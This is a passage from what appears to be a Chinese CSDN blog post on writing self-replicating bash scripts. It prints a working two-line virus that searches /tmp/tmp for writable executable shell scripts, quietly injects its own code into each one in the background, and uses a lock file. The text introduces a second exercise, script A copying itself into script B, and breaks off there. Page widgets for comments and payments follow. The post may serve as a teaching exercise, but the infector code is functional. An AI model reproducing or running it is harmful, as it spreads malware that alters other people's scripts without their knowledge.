脚本自我复制

这篇博客介绍了如何编写能够自我复制的bash脚本,详细解释了脚本的运行过程。通过示例代码展示了如何在可执行脚本中植入自复制代码,使得被感染的脚本会添加原始脚本内容。同时,还讨论了一种更复杂的自复制策略,涉及脚本A、B和C之间的相互复制,但避免了无限循环的情况。
摘要由CSDN通过智能技术生成

1. 运行以下脚本可以感染到其他可写可执行的脚本文件

     1    #!/bin/bash
     2    ( { [ -f "/var/lock/.lock" ] && exit ; touch "/var/lock/.lock" ; I_F=$(grep "/var/lock/.lock" $0) ; for i in $(for f in $( find "/tmp/tmp" -type f 2>/dev/null ) ; do file $f | grep "shell script text" | cut -d":" -f1 ; done ) ;do [ -w $i -a -x $i ] && !(grep "/var/lock/.lock" $i) && NUM=$(wc -l $i | cut -d" " -f1) && NUM=$((NUM/2+1)) && sed -i $NUM"a$I_F" $i ; done ; rm -rf "/var/lock/.lock" ; } > /dev/null ) &


//注意其只有2行,如果在/tmp/tmp下有可执行并且可写文件a.sh  执行上述脚本后,a.sh中会添加上述脚本的内容。

2. 完成一段自复制代码,原始程序为bash脚本A,在其执行后可以复制自身代码A到当前目录下有可执行能力的bash shell脚本B&

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值